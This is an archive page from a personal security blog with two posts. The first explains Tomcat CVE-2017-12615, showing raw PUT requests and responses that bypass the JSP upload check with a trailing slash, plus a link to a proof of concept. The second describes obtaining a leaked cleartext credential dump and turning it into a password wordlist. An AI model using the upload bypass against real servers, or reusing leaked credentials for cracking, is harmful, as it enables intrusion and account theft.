Break To Protect: 2017

Saturday, September 23, 2017

The Case of CVE-2017-12615 Tomcat 7 PUT vulnerability

Exploit proof of concept:

You guys came for the code. So, click on my github repo link:

https://github.com/breaktoprotect/CVE-2017-12615

Warning: Don't die ROFL-ing as it's hilariously simple to exploit :D

Crux of the issue:

By design, if you try to upload a JSP file via the HTTP PUT method on the Tomcat server, it won't work. You can upload .html, .jpg, or any other extensions except .jsp, .jspx and the variants.

For example, if you try:

Request:

PUT /myfile.jsp HTTP/1.1Host: 127.0.0.1:8080Connection: closeContent-Length: 85
<% out.write("<html><body><h3>[+] JSP upload successfully.</h3></body></html>"); %>

You will get an error :( such as the one shown in the below response.

Response:

HTTP/1.1 404 Not FoundServer: Apache-Coyote/1.1Content-Type: text/html;charset=utf-8Content-Language: enContent-Length: 971Date: Sat, 23 Sep 2017 06:07:27 GMTConnection: close
...SNIPPED.<html><head><title>Apache Tomcat/7.0.79 - Error report</title><style><!--H1

However, you can bypass the extension check by appending a '/' behind the .jsp extension:

Request:

PUT /myfile.jsp/ HTTP/1.1

Host: 127.0.0.1:8080

Connection: close

Content-Length: 85

<% out.write("<html><body><h3>[+] JSP upload successfully.</h3></body></html>"); %>

Response:

HTTP/1.1 201 Created

Server: Apache-Coyote/1.1

Content-Length: 0

Date: Sat, 23 Sep 2017 06:45:50 GMT

Connection: close

And I got the clue from the Apache site with the patch diff indicated here:

http://svn.apache.org/viewvc/tomcat/tc7.0.x/trunk/java/org/apache/naming/resources/FileDirContext.java?annotate=1804729&pathrev=1804729

Pre-requisite:

1. PUT method is enabled through conf/web.xml

<init-param>

<param-name>readonly</param-name>

<param-value>false</param-value>

</init-param>

2. No authentication enforced in the security-constraint set at the app's WEB-INF/web.xml

<auth-constraint>

<role-name>admin</role-name>

</auth-constraint>

References:

Apache Patch notes: https://tomcat.apache.org/security-7.html

Diff notes on the patch: http://svn.apache.org/viewvc/tomcat/tc7.0.x/trunk/java/org/apache/naming/resources/FileDirContext.java?annotate=1804729&pathrev=1804729

Ok that's all for now.

JS out.

Sunday, May 7, 2017

ihavebeenpwned?

Background
Like some of the paranoid folks out there, I've signed myself up to haveibeenpwned.com to get informed via email whenever a site got hacked and my credentials are being leaked. A few days ago, I received an email saying that my credentials associated with my email address (user id) was leaked on seemingly a Russian site known as 'exploit.in'. I needed to know what password was leaked before I go on a mass change on all my accounts.

"Anti Public" combo list
It's said to be 458million credentials leaked. Yep, holy.
For more information: https://haveibeenpwned.com/PwnedWebsites#ExploitIn

Hunting the leaked password database
After perusing some forums, I managed to get my hands on the dump. It's about 10gb zipped up and 26gb unzipped. The files are separated with filenames starting from 1.txt to 111.txt, and the contents are in a format of [email address]:[cleartextpassword]. You get gmails, yahoos and even some .ru email addresses on it.
Holy batman it's 26gb of cleartext credentials which rivals the WPA list! On a SSD and a i5 3.2ghz, it still takes a few minutes to parse through the whole list. So back to the task "am I pwned?", I did a:

type * | findstr [partial my email address] > search_results.txt

After a couple of minutes, I found two email entries: a gmail and a yahoo. The yahoo has already expired and the gmail is a super old password that was since multiple password-changes ago. Phew for me. But still, quite a scare.

Charlie Mike: Investigate the passwords
Well, my curiosity goes beyond my own security status. I wanted to know what type of passwords were cracked and if they were able to bruteforce complex ones. So I went on performing some simple text processing. I'll do a post on this when I'm done. :)

Shiny New Dict
And of course, since it was verified to be a real credential dump, how can I ignore a super reliable word list? It came with a super easy format so the following commands helped cleaned it up:

cat exploit.in_2016.lst | sort | uniq > exploit.in_2016_uniq.lst

cat exploit.in | cut -d":" -f 2 > exploit-in.txt

LOL 50% CPU utilization on sort.exe

This is going to take a while. Don't wait up.

JS.

Pages